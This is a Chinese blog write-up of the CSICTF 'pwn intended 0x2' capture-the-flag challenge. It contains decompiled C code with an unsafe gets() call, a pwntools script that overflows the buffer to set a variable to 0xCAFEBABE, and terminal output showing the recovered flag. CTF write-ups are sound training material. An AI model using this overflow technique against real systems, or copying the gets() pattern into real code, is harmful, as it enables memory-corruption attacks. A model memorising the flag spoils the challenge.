

【CSICTF】pwn intended 0x2 WriteUp

原创

古月浪子 于 2020-07-23 15:50:29 发布 57 收藏

文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/tqdyqt/article/details/107459908>

版权

pwn intended 0x2

353

pwn

Travelling through spacetime!

nc chall.csivit.com 30007

📄 pwn-intend...

在上一题的基础上改进了一下, 大体上没有多大区别

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char v4; // [rsp+0h] [rbp-30h]
4     int v5; // [rsp+2Ch] [rbp-4h]
5
6     v5 = 0;
7     setbuf(stdout, 0LL);
8     setbuf(stdin, 0LL);
9     setbuf(stderr, 0LL);
10    puts("Welcome to csictf! Where are you headed?");
11    gets(&v4, 0LL);
12    puts("Safe Journey!");
13    if ( v5 == 0xCAFEBABE )
14    {
15        puts("You've reached your destination, here's a flag!");
16        system("/bin/cat flag.txt");
17    }
18    return 0;
19 }
```

v5不再要求不等于0了, 而是要等于特定的值

```

from pwn import *
from LibcSearcher import *
from struct import pack

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sd=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
ra=lambda :io.recv()
rn=lambda x:io.recv(x)
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30007)
#io=process('./pwn-intended-0x2')
elf=ELF('./pwn-intended-0x2')

ra()
sl('a'*(0x30-4)+p32(0xCAFEBABE))

io.interactive()

```

```

wesker@ubuntu: ~/Desktop
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
>Welcome to csictf! Where are you headed?'
[DEBUG] Sent 0x31 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaa|aaa|aaa
a|aaa|
*
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaa|aaa|aaa
a|...|
00000030 0a                                     |.|
00000031
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
'\n'

[DEBUG] Received 0xd bytes:
'Safe Journey!'
Safe Journey![DEBUG] Received 0x31 bytes:
'\n'
"You've reached your destination, here's a flag!\n"

You've reached your destination, here's a flag!
[DEBUG] Received 0x20 bytes:
'csictf{c4n_y0u_re4lly_telep0rt?}'
csictf{c4n_y0u_re4lly_telep0rt?}[*] Got EOF while reading in interactive
$ █

```